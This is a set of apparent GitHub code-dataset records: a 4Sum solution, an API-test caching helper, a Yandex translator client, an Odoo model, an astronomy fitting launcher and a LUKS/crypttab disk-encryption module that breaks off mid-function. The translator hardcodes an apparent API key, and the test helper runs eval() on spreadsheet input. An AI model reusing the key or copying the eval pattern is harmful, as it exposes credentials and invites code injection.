1\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tquadruplets.append(quadruplet + [nums[l], nums[r]])\r\n\t\t\t\t\t\tl += 1\r\n\t\t\t\t\t\twhile nums[l-1] == nums[l] and l < r:\r\n\t\t\t\t\t\t\tl += 1 # to avoid duplications\r\n\t\t\t\t\t\tr -= 1\r\n\t\t\t\t\t\twhile nums[r] == nums[r+1] and l < r:\r\n\t\t\t\t\t\t\tr -= 1 # to avoid duplications\r\n\t\t\telse:\r\n\t\t\t\tfor i in range(index, len(nums)-k+1):\r\n\t\t\t\t\tif i > index and nums[i] == nums[i-1]:\r\n\t\t\t\t\t\tcontinue # to avoid duplications\r\n\t\t\t\t\tquadruplet.append(nums[i])\r\n\t\t\t\t\thelper(k-1, i+1, target - nums[i])\r\n\t\t\t\t\tquadruplet.pop()\r\n\r\n\t\thelper(4, 0, target)\r\n\t\treturn quadruplets\r\n\t\r\n\r\n\r\n\tdef fourSum(self, nums: List[int], target: int) -> List[List[int]]:\r\n\t\tquadruplets = list()\r\n\t\tnums.sort()\r\n\t\tfor i in range(0, len(nums)-3):\r\n\t\t\tif i > 0 and nums[i-1] == nums[i]:\r\n\t\t\t\tcontinue\r\n\t\t\tfor j in range(i+1, len(nums)-2):\r\n\t\t\t\tif j > i+1 and nums[j-1] == nums[j]:\r\n\t\t\t\t\tcontinue\r\n\t\t\t\tnew_target = target - (nums[i] + nums[j])\r\n\t\t\t\tl = j+1\r\n\t\t\t\tr = len(nums)-1\r\n\t\t\t\twhile l < r:\r\n\t\t\t\t\tif nums[l] + nums[r] < new_target:\r\n\t\t\t\t\t\tl += 1\r\n\t\t\t\t\telif new_target < nums[l] + nums[r]:\r\n\t\t\t\t\t\tr -= 1\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tquadruplets.append([nums[i], nums[j], nums[l], nums[r]])\r\n\t\t\t\t\t\tl += 1\r\n\t\t\t\t\t\twhile nums[l-1] == nums[l] and l < r:\r\n\t\t\t\t\t\t\tl += 1\r\n\t\t\t\t\t\tr -= 1\r\n\t\t\t\t\t\twhile nums[r] == nums[r+1] and l < r:\r\n\t\t\t\t\t\t\tr -= 1\r\n\t\treturn quadruplets","repo_name":"djebby/algorithms-and-data-structures","sub_path":"leetcode/18-4sum.py","file_name":"18-4sum.py","file_ext":"py","file_size_in_byte":1733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"35650704550","text":"from common.request import RequestInterface\nfrom exceloperation.readfromexcel import ReadFromExcel\nfrom function.Built_in_functions import *\nfrom common.Log import MyLog\nfrom cacheout import Cache\nimport time\nimport ast\nimport json\nimport re\n\n\ndef get_target_value(key, dic, tmp_list=[]):\n \"\"\"\n :param key: 目标key值\n :param dic: JSON数据\n :param tmp_list: 用于存储获取的数据\n :return: list\n \"\"\"\n if not isinstance(dic, dict) or not isinstance(tmp_list, list): # 对传入数据进行格式校验\n\n return 'argv[1] not an dict or argv[-1] not an list '\n\n if key in dic.keys():\n tmp_list.append(dic[key]) # 传入数据存在则存入tmp_list\n else:\n for value in dic.values(): # 传入数据不符合则对其value值进行遍历\n if isinstance(value, dict):\n get_target_value(key, value, tmp_list) # 传入数据的value值是字典,则直接调用自身\n elif isinstance(value, (list, tuple)):\n _get_value(key, value, tmp_list) # 传入数据的value值是列表或者元组,则调用_get_value\n return tmp_list\n\n\ndef _get_value(key, val, tmp_list):\n for val_ in val:\n if isinstance(val_, dict):\n get_target_value(key, val_, tmp_list) # 传入数据的value值是字典,则调用get_target_value\n elif isinstance(val_, (list, tuple)):\n _get_value(key, val_, tmp_list) # 传入数据的value值是列表或者元组,则调用自身\n\n\nclass extraDB(object):\n def __init__(self, params_interface, cache):\n \"\"\"\n :param params_interface: 接口请求参数\n \"\"\"\n self.cache = cache\n # self.cache = Cache(maxsize=256, ttl=0, timer=time.time)\n self.params_interface = params_interface\n self.extra_key_list_str = params_interface.get('extra')\n # self.functions_tuple_list = []\n\n def setvar(self, result_interface):\n \"\"\"\n\n :param result_interface: 接口返回参数\n :return:\n \"\"\"\n\n if self.extra_key_list_str and \\\n self.extra_key_list_str.startswith(\"[\") and \\\n self.extra_key_list_str.endswith(\"]\"):\n try:\n extra_key_list = eval(self.extra_key_list_str)\n except Exception as e:\n MyLog.error(e)\n\n if result_interface and result_interface.startswith('{') and isinstance(result_interface, str):\n temp_result_interface = json.loads(result_interface) # 将字符串类型转换为字典类型\n for extra_key in extra_key_list:\n value_list = get_target_value(extra_key, temp_result_interface, tmp_list=[])\n if len(value_list) == 1:\n for value in value_list:\n if isinstance(value, str): # 判断value是否是字符串\n self.cache.set(extra_key, '\\'' + value + '\\'')\n elif isinstance(value, int): # 判断value是不是int类型\n self.cache.set(extra_key, value)\n elif isinstance(value, dict): # 判断value是不是字典类型\n self.cache.set(extra_key, value)\n else:\n MyLog.error('未处理的数据类型', value)\n\n MyLog.debug('接口返回值入参成功%s %s' % (extra_key, value))\n elif len(value_list) == 0:\n MyLog.error('缓存数据设置错误,未找到对应返回值%s' % extra_key)\n elif len(value_list) > 1:\n # MyLog.error('value_list',value_list)\n MyLog.error('缓存数据设置错误,存在多个值')\n else:\n MyLog.error('接口返回值类型错误,无法将参数存入缓存')\n else:\n MyLog.debug('接口无缓存参数')\n\n # seslf.cache.set(key, value)\n\n def getvar(self):\n \"\"\"\n 获取参数\n :return:{key1:value1,key2:value2,...}\n \"\"\"\n sign = self.match_var()\n cache_value = {}\n if sign:\n for key in sign:\n value = self.cache.get(key)\n if value is not None:\n MyLog.debug('获取其他接口入参参数成功,参数名称为%s,参数值为%s' % (sign, value))\n cache_value[key] = value\n # return self.cache.get(sign)\n else:\n MyLog.error('获取参数异常,缓存中没有%s的值' % sign)\n return cache_value\n else:\n MyLog.debug('该接口无${}标识')\n return None\n\n def get_function_return(self, functions_tuple_list):\n \"\"\"\n :functions_tuple_dict: {'stradd': '12', 'sumadd': 3}\n :return: 返回内置函数计算结果,格式为list\n [{'function_name': 'stradd', 'result': '12'}, {'function_name': 'sumadd', 'result': 3}]\n \"\"\"\n return_list = []\n kwargs = {}\n for function_name, function_arg in functions_tuple_list:\n functions_result_dict = {}\n args = function_arg.split(',')\n function_return = eval(function_name)(*args, **kwargs)\n functions_result_dict['function_name'] = function_name\n functions_result_dict['args'] = function_arg\n if isinstance(function_return, str): # 判断函数返回值是否是字符串\n functions_result_dict['result'] = '\\'' + function_return + '\\''\n elif isinstance(function_return, int):\n functions_result_dict['result'] = function_return\n elif isinstance(function_return, dict):\n functions_result_dict['result'] = '\\'' + function_return + '\\''\n return_list.append(functions_result_dict)\n return return_list\n\n def match_var(self):\n \"\"\"\n :return:查找含有$的字符${cache_id}或$cache_id输出为cache_id\n \"\"\"\n sign = []\n pattern = r\"\\$\\{(\\w+)\\}|\\$(\\w+)\"\n for _k, _v in self.params_interface.items():\n if _v and isinstance(_v, str) and '$' in _v:\n result = re.findall(pattern, _v)\n if result:\n for key_tuple in result:\n for key in key_tuple:\n if key: sign.append(key)\n if sign:\n return sign\n else:\n return None\n\n def match_function(self):\n \"\"\"\n\n :return: 匹配含有${function(*arg)}的字符数组:[('test', '8,9'), ('sum', '1')]\n \"\"\"\n\n functions_tuple_list = None\n pattern = r\"\\$\\{(\\w+)\\(([\\$\\w\\.\\-/\\s=,]*)\\)\\}\"\n for _k, _v in self.params_interface.items():\n if _v and isinstance(_v, str) and '$' in _v and '(' in _v and ')' in _v:\n functions_tuple_list = re.findall(pattern, _v)\n\n if functions_tuple_list is not None:\n return functions_tuple_list\n else:\n return None\n\n def replace(self):\n \"\"\"\n :return: 返回新赋值的字典\n \"\"\"\n replace_dict = {}\n functions_tuple_list = self.match_function()\n\n if self.match_var() is None and functions_tuple_list is None:\n MyLog.debug('没有要替换的变量或函数返回值')\n return self.params_interface\n\n if self.match_var(): # 进行变量赋值替换\n params_interface_json = json.dumps(self.params_interface, ensure_ascii=False)\n _temp_json = params_interface_json\n _new_params_dict = self.getvar()\n for _k,_v in _new_params_dict.items():\n _temp_json = _temp_json.replace('$'+_k,_v)\n\n self.params_interface = json.loads(_temp_json)\n MyLog.debug('已进行变量赋值替换:%s' % self.params_interface)\n functions_tuple_list = self.match_function()\n print('functions_tuple_list',functions_tuple_list)\n\n if functions_tuple_list:\n function_results_dict = self.get_function_return(functions_tuple_list)\n params_interface_json = json.dumps(self.params_interface, ensure_ascii=False)\n print(function_results_dict)\n _temp_json = params_interface_json\n for need_to_replace_str in function_results_dict:\n _temp_json = _temp_json.replace(\n '${'+need_to_replace_str['function_name'] + '(' + need_to_replace_str['args'] + ')'+'}',\n str(need_to_replace_str['result']))\n self.params_interface = json.loads(_temp_json)\n MyLog.debug('已进行函数值赋值替换:%s' % self.params_interface)\n\n return self.params_interface\n\n\nif __name__ == '__main__':\n cache = Cache(maxsize=256, ttl=0, timer=time.time)\n test_interface = RequestInterface()\n ex = ReadFromExcel(path=r\"C:\\Users\\li\\PycharmProjects\\test_interface\\Testcase\\API_TestCases.xlsx\")\n datas = ex.readsheet(sheet_name='queryphoneInfo')\n datas = datas['data']\n for i in range(len(datas)):\n obj = extraDB(datas[i], cache)\n params_interface = obj.replace()\n url_interface = params_interface.get('url_interface')\n\n headdata = ast.literal_eval(params_interface.get('header_interface'))\n type_interface = params_interface.get('exe_mode')\n if url_interface != '' and headdata != '' and type_interface != '':\n result = test_interface.http_request(url_interface, headdata,\n params_interface.get('params_interface'), type_interface)\n print(result)\n obj.set(result.get('data'))\n","repo_name":"lyc19931022/test_interface","sub_path":"common/cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":9790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"11501703172","text":"import requests\n\nKEY = 'trnsl.1.1.20161216T160124Z.4a07c4b6a2f01566.ade260e6c684818698899fd08a9c15d72faca843'\nURL = 'https://translate.yandex.net/api/v1.5/tr.json/translate'\n\n\nclass Translator:\n \"\"\"\n Переводчик текстов через API удаленных сервисов\n \"\"\"\n def __init__(self, key, url):\n self.__key = key\n self.__url = url\n self.__lang = (\"ru\", \"en\") # направление перевода, первое ОТ (языка оригинала) и второе К (языку результата)\n\n @property\n def lang(self):\n return self.__lang\n\n @lang.setter\n def lang(self, value):\n self.__lang = value[0].lower(), value[1].lower()\n\n def translate_me(self, my_text):\n \"\"\"\n YANDEX translation plugin\n\n docs: https://tech.yandex.ru/translate/doc/dg/reference/translate-docpage/\n\n https://translate.yandex.net/api/v1.5/tr.json/translate ?\n key=\n & text=<переводимый текст>\n & lang=<направление перевода>\n & [format=<формат текста>]\n & [options=<опции перевода>]\n & [callback=<имя callback-функции>]\n\n :param my_text: text for translation.\n :return: translated text.\n \"\"\"\n params = {\n \"key\": self.__key,\n \"text\": my_text,\n \"lang\": \"-\".join(self.lang),\n }\n response = requests.get(self.__url, params=params)\n return response.json()\n\n\nif __name__ == \"__main__\":\n\n translator = Translator(KEY, URL)\n translator.lang = \"ru\", \"fr\"\n\n json = translator.translate_me(\"Как дела человек?\")\n print(' '.join(json[\"text\"]))\n","repo_name":"PerfectStepCoder/NetologyProjects","sub_path":"TranslatorAPI/Translator.py","file_name":"Translator.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"43057554992","text":"from odoo import models, fields, api\nfrom datetime import *\nclass AuditorAuditsProgress(models.Model):\n\n _name = 'auditor.audits.progress'\n _description = \"Auditor Audits Progress\"\n\n auditor_id = fields.Many2one(\n string=\"Auditor\",\n comodel_name='res.partner',\n ondelete='cascade',\n required=True,\n index=True,\n domain = [('ado_is_auditor','=',True)],\n )\n start_date = fields.Date(string=\"Season Start Date\", default=datetime.strptime(\"2022-09-01\", '%Y-%m-%d').date(),store=True)\n end_date = fields.Date(string=\"Season End Date\", default=datetime.strptime(\"2023-08-31\", '%Y-%m-%d').date(),store=True)\n audits_number = fields.Integer('Audits Number', readonly=True, compute=\"_get_audits_number\", store= True)\n audits_target = fields.Integer('Target', readonly=True, related='auditor_id.paa_audit_quantity')\n progress_bar = fields.Integer('Progress', readonly=True, compute=\"_compute_progress_bar\", store=True)\n\n\n @api.depends(\"auditor_id\",\"start_date\",\"end_date\")\n def _get_audits_number(self):\n counter = 0\n for rec in self:\n domain = [('date_order', '>', rec.start_date),('date_order', '<', rec.end_date),('partner_id', '=', rec.auditor_id.id),('state','!=','cancel'),('state','!=','draft'),('state','!=','sent'),('state','!=','to approve')]\n purchaseordeline = self.env['purchase.order'].search(domain).order_line\n for r in purchaseordeline:\n qty = r.product_qty\n for p in r.product_id:\n for c in p.categ_id:\n if c.paa_schem_id:\n counter+=qty\n \n rec.audits_number=counter\n\n @api.depends(\"auditor_id\",\"audits_target\",\"start_date\",\"end_date\")\n def _compute_progress_bar(self):\n \n for u in self:\n if u.audits_number and u.audits_target:\n if not (u.audits_number==0 or u.audits_target==0):\n audits_number = 0\n #audits_number = (int) (u._get_audits_number/u.audits_target)*100 \n domain = [('date_order', '>', u.start_date),('date_order', '<', u.end_date),('partner_id', '=', u.auditor_id.id),('state','!=','cancel'),('state','!=','draft'),('state','!=','sent'),('state','!=','to approve')]\n purchaseordeline = self.env['purchase.order'].search(domain).order_line\n for r in purchaseordeline:\n qty = r.product_qty\n for p in r.product_id:\n for c in p.categ_id:\n if c.paa_schem_id:\n audits_number+=qty\n \n #progress = (int) (audits_number/u.audits_target)*100\n progress = audits_number/u.audits_target\n u.progress_bar= (int) (progress*100)\n else:\n u.progress_bar = 0\n else:\n u.progress_bar = 0\n","repo_name":"abrs2/odoo_tutorial","sub_path":"addons/pao_auditor_audits_progress/models/auditor_audits_progress.py","file_name":"auditor_audits_progress.py","file_ext":"py","file_size_in_byte":3081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"73621292187","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSetup and run THEMCMC\n\n@author: Tom Williams\n\"\"\"\n\n#Ensure python3 compatibility\nfrom __future__ import absolute_import, print_function, division\n\nimport os\n\nimport pandas as pd\n\nos.chdir(os.getcwd())\n\nfrom parameters import *\n\n#Set up filters\n\nprint('Preparing filters')\n\nd = {}\n\nfor filter_name in filters:\n \n wavelength_uncert = {'Spitzer_3.6':[3.6,0.015],\n 'Spitzer_4.5':[4.5,0.015],\n 'Spitzer_5.8':[5.8,0.015],\n 'Spitzer_8.0':[8.0,0.015],\n 'Spitzer_24':[24.0,0.004],\n 'Spitzer_70':[70.0,0.045],\n 'Spitzer_160':[160.0,0.05],\n 'WISE_3.4':[3.368,0.029],\n 'WISE_4.6':[4.618,0.034], \n 'WISE_12':[12.082,0.046],\n 'WISE_22':[22.194,0.056],\n 'PACS_70':[70.0,0.02],\n 'PACS_100':[100.0,0.02],\n 'PACS_160':[160.0,0.02],\n 'SPIRE_250':[250.0,0.015],\n 'SPIRE_350':[350.0,0.015],\n 'SPIRE_500':[500.0,0.015],\n 'Planck_350':[350.0,0.064],\n 'Planck_550':[550.0,0.061],\n 'Planck_850':[850,0.0078],\n 'SCUBA2_450':[450.0,0.12],\n 'SCUBA2_850':[850,0.08],\n 'IRAS_12':[12,0.2],\n 'IRAS_25':[25,0.2],\n 'IRAS_60':[60,0.2],\n 'IRAS_100':[100,0.2]}[filter_name]\n \n d[filter_name] = wavelength_uncert\n\ndf = pd.DataFrame(data=d)\n\ndf.to_csv('filters.csv')\n\n#Set up the code to run THEMCMC\n\ncommand = ''\n\n#Add in MPI if requested\n\nif mpi:\n \n command += 'mpirun -n '+str(mpi_processes)+' --bind-to none '\n\ncommand += 'python master_themcmc.py '\n\n#Method\n\ncommand += '--method '+method+' '\n\n#Number of components\n\ncommand += '--components '+str(components)+' '\n\nif overwrite_samples:\n \n command += '--overwritesamples '\n\n#Specify MPI so we know what kind of pool to use\n\nif mpi:\n \n command += '--mpi '\n \n#Output commands\n \nif plot_sed:\n \n command += '--plotsed --units '+units+' '\n \nif overwrite_sed_plot:\n \n command += '--overwritesedplot '\n \nif plot_corner:\n \n command += '--plotcorner '\n \nif overwrite_corner_plot:\n \n command += '--overwritecorner '\n \nif dustem_output:\n \n command += '--dustemoutput '\n \nif skirt_output:\n \n command += '--skirtoutput '\n \ncommand += '--fluxes '+fluxes+' '\n\nos.chdir('core')\n\n#Compile the fortran functions if they haven't already been\n\nif not os.path.exists('fortran_funcs.so'):\n os.system('make all')\n\nos.system(command)","repo_name":"thomaswilliamsastro/themcmc","sub_path":"themcmc.py","file_name":"themcmc.py","file_ext":"py","file_size_in_byte":2849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"12622222581","text":"import os\nimport re\nfrom tempfile import mkstemp\nimport shutil\nfrom system.exceptions import CommandException\nfrom system.osi import run_command, get_uuid_name_map, get_device_path\nimport logging\n\nlogger = logging.getLogger(__name__)\n\nCRYPTSETUP = \"/usr/sbin/cryptsetup\"\nDMSETUP = \"/usr/sbin/dmsetup\"\nCRYPTTABFILE = \"/etc/crypttab\"\nDD = \"/usr/bin/dd\"\n\n\ndef get_open_luks_volume_status(mapped_device_name, byid_name_map):\n \"\"\"\n Wrapper around 'cryptsetup status mapped_device_name' that returns a\n dictionary of this commands output, with the device value substituted for\n it's by-id equivalent.\n Example command output:\n /dev/disk/by-id/dm-name-\n luks-a47f4950-3296-4504-b9a4-2dc75681a6ad is active.\n type: LUKS1\n cipher: aes-xts-plain64\n keysize: 256 bits\n device: /dev/bcache0\n offset: 4096 sectors\n size: 4190192 sectors\n mode: read/write\n or for a non existent device we get:\n cryptsetup status /dev/disk/by-id/non-existent\n /dev/disk/by-id/non-existent is inactive.\n or for an active an in use volume we might get a first line of:\n /dev/disk/by-id/dm-name-\n luks-3efb3830-fee1-4a9e-a5c6-ea456bfc269e is active and is in use.\n :param mapped_device_name: any mapped device name accepted by cryptsetup,\n ie starting with \"/dev/mapper/\", path included or not, output unaffected.\n :return: dictionary of the stated commands output or {} upon a non zero\n return code from command execution.\n \"\"\"\n status = {}\n status_found = False\n device_found = False\n out, err, rc = run_command([CRYPTSETUP, \"status\", mapped_device_name], throw=False)\n if rc != 0 and rc != 4: # if return code is an error != 4 the empty dict.\n # rc = 4 is the result of querying a non existent volume ie detached\n # or closed.\n return status # currently an empty dictionary\n for line in out:\n if line == \"\":\n continue\n # get line fields\n line_fields = line.split()\n if len(line_fields) < 1:\n continue\n if not status_found and re.match(\"/dev\", line_fields[0]) is not None:\n status_found = True\n # catch the line beginning /dev (1st line) and record it as status\n status[\"status\"] = \" \".join(line_fields[2:])\n elif not device_found and line_fields[0] == \"device:\":\n device_found = True\n dev_no_path = line_fields[1].split(\"/\")[-1]\n # use by-id device name from provided map as value for device key.\n if dev_no_path in byid_name_map:\n status[\"device\"] = byid_name_map[dev_no_path]\n else:\n # better we have originally listed device than nothing\n status[\"device\"] = dev_no_path\n else:\n status[line_fields[0].replace(\":\", \"\")] = \" \".join(line_fields[1:])\n return status\n\n\ndef get_open_luks_container_dev(mapped_device_name, test=None):\n \"\"\"\n Returns the parent device of an open LUKS container, ie if passed:\n luks-b8f89d97-f135-450f-9620-80a9fb421403\n (with or without a leading /dev/mapper/)\n it would return the following example device name string:\n /dev/sda3\n So /dev/sda3 is the LUKS container that once opened is mapped as our\n device_name in /dev/mapper\n :param mapped_device_name: any mapped device name accepted by cryptsetup,\n ie starting with \"/dev/mapper/\"\n :param test: if not None then it's contents is considered as substitute\n for the output of the cryptsetup command that is otherwise executed.\n :return: Empty string on any error or a device with path type /dev/vdd\n \"\"\"\n container_dev = \"\"\n if test is None:\n out, err, rc = run_command(\n [CRYPTSETUP, \"status\", mapped_device_name], throw=False\n )\n else:\n # test mode so process test instead of cryptsetup output\n out = test\n rc = 0\n if rc != 0: # if return code is an error return empty string\n return \"\"\n # search output of cryptsetup to find a line such as the following:\n # device: /dev/sda3\n for line in out:\n if line == \"\":\n continue\n # get line fields\n line_fields = line.split()\n # less than 2 fields are of no use so just in case:-\n if len(line_fields) < 2:\n continue\n if re.match(\"device:\", line_fields[0]) is not None:\n # we have our line match so return it's second member\n return line_fields[1]\n return container_dev\n\n\ndef luks_format_disk(disk_byid, passphrase):\n \"\"\"\n Formats disk_byid using supplied passphrase for master key encryption.\n Simple run_command wrapper to execute 'cryptsetup luksFormat path'\n Care is taken to immediately remove our temporary key-file (in ram) even\n in the event of an Exception.\n :param disk_byid: by-id type name without path as found in db Disks.name.\n :param passphrase: luks passphrase used to encrypt master key.\n :return: o, e, rc tuple as returned by cryptsetup luksFormat command.\n \"\"\"\n disk_byid_withpath = get_device_path(disk_byid)\n # Create a temp file to pass our passphrase to our cryptsetup command.\n tfo, npath = mkstemp()\n # Pythons _candidate_tempdir_list() should ensure our npath temp file is\n # in memory (tmpfs). From https://docs.python.org/2/library/tempfile.html\n # we have \"Creates a temporary file in the most secure manner possible.\"\n # Populate this file with our passphrase and use as cryptsetup keyfile.\n try:\n with open(npath, \"w\") as passphrase_file_object:\n passphrase_file_object.write(passphrase)\n cmd = [CRYPTSETUP, \"luksFormat\", disk_byid_withpath, npath]\n out, err, rc = run_command(cmd)\n except Exception as e:\n msg = \"Exception while running command(%s): %s\" % (cmd, e.__str__())\n raise Exception(msg)\n finally:\n passphrase_file_object.close()\n if os.path.exists(npath):\n try:\n os.remove(npath)\n except Exception as e:\n msg = \"Exception while removing temp file %s: %s\" % (npath, e.__str__())\n raise Exception(msg)\n return out, err, rc\n\n\ndef get_luks_container_uuid(disk_byid):\n \"\"\"\n Returns the uuid of a LUKS container.\n Simple wrapper for: 'cryptsetup luksUUID dev_byid_withpath'\n :param str disk_byid: disk_byid as last element of by-id device path.\n :returns: uuid of passed LUKS container.\n :rtype: str\n \"\"\"\n dev_uuid = \"\"\n dev_byid_withpath = get_device_path(disk_byid)\n cmd = [CRYPTSETUP, \"luksUUID\", dev_byid_withpath]\n out, err, rc = run_command(cmd, log=True, throw=False)\n if rc != 0:\n logger.debug(\"Unexpected return code from {}: returning empty uuid\".format(cmd))\n return dev_uuid\n if len(out) > 0:\n # we have at least a single line of output and rc = 0\n dev_uuid = out[0]\n return dev_uuid\n\n\ndef get_unlocked_luks_containers_uuids():\n \"\"\"\n Returns a list of LUKS container uuids backing open LUKS volumes.\n The method used is to first run:\n 'dmsetup info --columns --noheadings -o name --target crypt' eg output:\n luks-82fd9db1-e1c1-488d-9b42-536d0a82caeb\n luks-3efb3830-fee1-4a9e-a5c6-ea456bfc269e\n luks-a47f4950-3296-4504-b9a4-2dc75681a6ad\n to get a list of open LUKS containers (--target crypt). If the usual naming\n convention is followed we have a name format of luks- with len = 41\n and we can extract the uuid of the LUKS container from it syntactically.\n If this naming convention is not matched then we fail over to calling:\n get_open_luks_container_dev() and then looking up that devices uuid via\n our uuid_name_map dictionary.\n :return: list containing the uuids of LUKS containers that have currently\n open volumes, or empty list if none open or an error occurred.\n \"\"\"\n open_luks_container_uuids = []\n # flag to minimise calls to get_uuid_name_map()\n uuid_name_map_retrieved = False\n uuid_name_map = {}\n out, err, rc = run_command(\n [\n DMSETUP,\n \"info\",\n \"--columns\",\n \"--noheadings\",\n \"--options\",\n \"name\",\n \"--target\",\n \"crypt\",\n ]\n )\n if len(out) > 0 and rc == 0:\n # The output has at least one line and our dmsetup executed OK.\n for each_line in out:\n if each_line == \"\":\n continue\n backing_container_uuid = None\n if len(each_line) == 41 and re.match(\"luks-\", each_line):\n # good chance on \"luks-a47f4950-3296-4504-b9a4-2dc75681a6ad\"\n # naming convention so strip uuid from this (cheap and quick)\n backing_container_uuid = each_line[5:]\n else:\n # More expensive two step process to retrieve uuid of LUKS\n # container backing this open LUKS volume.\n # Initial call to gain backing device name for our container\n container_dev = get_open_luks_container_dev(each_line)\n # strip leading /dev/ from device name if any returned.\n if container_dev is not \"\":\n container_dev = container_dev.split(\"/\")[-1]\n # should now have name without path ie 'vdd' ready to\n # index our uuid_name_map.\n if not uuid_name_map_retrieved:\n uuid_name_map = get_uuid_name_map()\n uuid_name_map_retrieved = True\n # second stage where we look up this devices uuid\n backing_container_uuid = uuid_name_map[container_dev]\n # if a backing container uuid was found add it to our list\n if backing_container_uuid is not None:\n open_luks_container_uuids.append(backing_container_uuid)\n return open_luks_container_uuids\n\n\ndef get_crypttab_entries():\n \"\"\"\n Scans /etc/crypttab and parses into mapper name (/dev/mapper/) and uuid\n of device being mapped. The expected format of the file is:\n UUID=(source dev) none(or keyfile)\n There are other formats but this is modeled on the common format and that\n used by the anaconda installer when the \"encrypt my data\" tick is selected.\n A typical entry is as follows:\n luks- UUID= none\n N.B. a fourth column can be used to specify additional options ie \"luks\"\n but this column is redundant in the case of luks.\n :return: dictionary indexed by the uuids of LUKS containers that have a\n current crypttab entry where the value represents column 3, ie none for\n password on boot, or the full path of a keyfile.\n \"\"\"\n in_crypttab = {}\n if os.path.isfile(CRYPTTABFILE):\n with open(CRYPTTABFILE, \"r\") as ino:\n for line in ino.readlines(): # readlines reads whole file in one.\n if line == \"\\n\" or re.match(line, \"#\"):\n # empty line (a newline char) or begins with # so skip\n continue\n line_fields = line.split()\n if len(line_fields) < 3:\n # we expect at least 3 entries, ignore otherwise\n continue\n if re.match(\"UUID=\", line_fields[1]) is not None:\n # we have a UUID= entry, perform basic validation\n uuid_entry_fields = line_fields[1].split(\"=\")\n if len(uuid_entry_fields) == 2:\n # we have at least 2 components: 'UUID', ''\n # split via '='\n if len(uuid_entry_fields[1]) == 36:\n # We have a 36 char long string, assuming uuid4\n # stash the 3rd column entry in crypttab\n in_crypttab[uuid_entry_fields[1]] = line_fields[2]\n return in_crypttab\n\n\ndef update_crypttab(uuid, keyfile_entry):\n \"\"\"\n If no existing /etc/crypttab we call a simplified function specific to new\n single entry crypttab creation: new_crypttab_single_entry(), otherwise we\n read the existing crypttab file and replace, wipe, or create a relevant\n entry for our passed device by uuid info. All commented entries are\n removed, as are entries deemed non valid. New entries are of a single\n format:\n luks- UUID= /root/keyfile- luks\n N.B. Care is taken to ensure our secure temporary file containing our\n crypttab line details is removed irrespective of outcome.\n :param uuid: uuid of the associated LUKS container such as is returned by:\n cryptsetup luksUUID \n :param keyfile_entry: the literal intended contents of the 3rd column.\n :return: False or exception raised if crypttab edit failed or no uuid\n passed, True otherwise.\n \"\"\"\n # Deal elegantly with null or '' uuid\n if (uuid is None) or uuid == \"\":\n return False\n uuid_name_map_retrieved = False\n # Simpler paths for when no /etc/crypttab file exists.\n if not os.path.isfile(CRYPTTABFILE):\n if keyfile_entry == \"false\":\n # The string 'false' is used to denote the removal of an existing\n # entry so we are essentially done as by whatever means there are\n # no entries in a non-existent crypttab.\n return True\n # We have no existing cryptab but a pending non 'false' entry.\n # Call specialized single entry crypttab creation method.\n return new_crypttab_single_entry(uuid, keyfile_entry)\n # By now we have an existing /etc/crypttab so we open it in readonly and\n # 'on the fly' edit line by line into a secure temp file.\n tfo, npath = mkstemp()\n # Pythons _candidate_tempdir_list() should ensure our npath temp file is\n # in memory (tmpfs). From https://docs.python.org/2/library/tempfile.html\n # we have \"Creates a temporary file in the most secure manner possible.\"\n with open(CRYPTTABFILE, \"r\") as ct_original, open(npath, \"w\") as temp_file:\n # examine original crypttab line by line.\n new_entry = None # temp var that doubles as flag for entry made.\n for line in ct_original.readlines(): # readlines (whole file in one).\n update_line = False\n if line == \"\\n\" or re.match(line, \"#\") is not None:\n # blank line (return) or remark line, strip for simplicity.\n continue\n line_fields = line.split()\n # sanitize remaining lines, bare minimum count of entries eg:\n # mapper-name source-dev\n # however 3 is a more modern minimum so drop < 3 column entries.\n if len(line_fields) < 3:\n continue\n # We have a viable line of at least 3 columns so entertain it.\n # Interpret the source device entry in second column (index 1)\n if re.match(\"UUID=\", line_fields[1]) is not None:\n # we have our native UUID reference so split and compare\n source_dev_fields = line_fields[1].split(\"=\")\n if len(source_dev_fields) is not 2:\n # ie \"UUID=\" with no value which is non legit so skip\n continue\n # we should have a UUID= entry so examine it\n if source_dev_fields[1] == uuid:\n # Matching source device uuid entry so set flag\n update_line = True\n else:\n # no UUID= type entry found so check for dev name\n # eg instead of 'UUID=' we have eg: '/dev/sdd'\n if re.match(\"/dev\", source_dev_fields[1]) is not None:\n # We have a dev entry so strip the path.\n dev_no_path = source_dev_fields[1].split(\"/\")[-1]\n # index our uuid_name_map for dev name comparison\n if not uuid_name_map_retrieved:\n uuid_name_map = get_uuid_name_map()\n uuid_name_map_retrieved = True\n uuid_of_source = uuid_name_map[dev_no_path]\n if uuid_of_source == uuid:\n # we have a non native /dev type entry but\n # the uuid's match so replace with quicker\n # native form of luks- UUID= etc\n update_line = True\n if update_line:\n # We have a device match by uuid with an existing line.\n if keyfile_entry == \"false\":\n # The string 'false' is used to denote no crypttab entry,\n # this we can do by simply skipping this line.\n continue\n # Update the line with our native format but try and\n # preserve custom options in column 4 if they exist:\n # Use new mapper name (potentially controversial).\n if len(line_fields) > 3:\n new_entry = \"luks-%s UUID=%s %s %s\\n\" % (\n uuid,\n uuid,\n keyfile_entry,\n \" \".join(line_fields[3:]),\n )\n else:\n # we must have a 3 column entry (>= 3 and then > 3)\n # N.B. later 'man crypttab' suggests 4 columns as\n # mandatory but that was not observed. We add 'luks'\n # as fourth column entry just in case.\n new_entry = \"luks-%s UUID=%s %s luks\\n\" % (\n uuid,\n uuid,\n keyfile_entry,\n )\n temp_file.write(new_entry)\n else:\n # No update flag and no original line skip so we\n # simply copy over what ever line we found. Most likely a non\n # matching device.\n temp_file.write(line)\n if keyfile_entry != \"false\" and new_entry is None:\n # We have scanned the existing crypttab and not yet made our edit.\n # The string 'false' is used to denote no crypttab entry and if\n # new_entry is still None we have made no 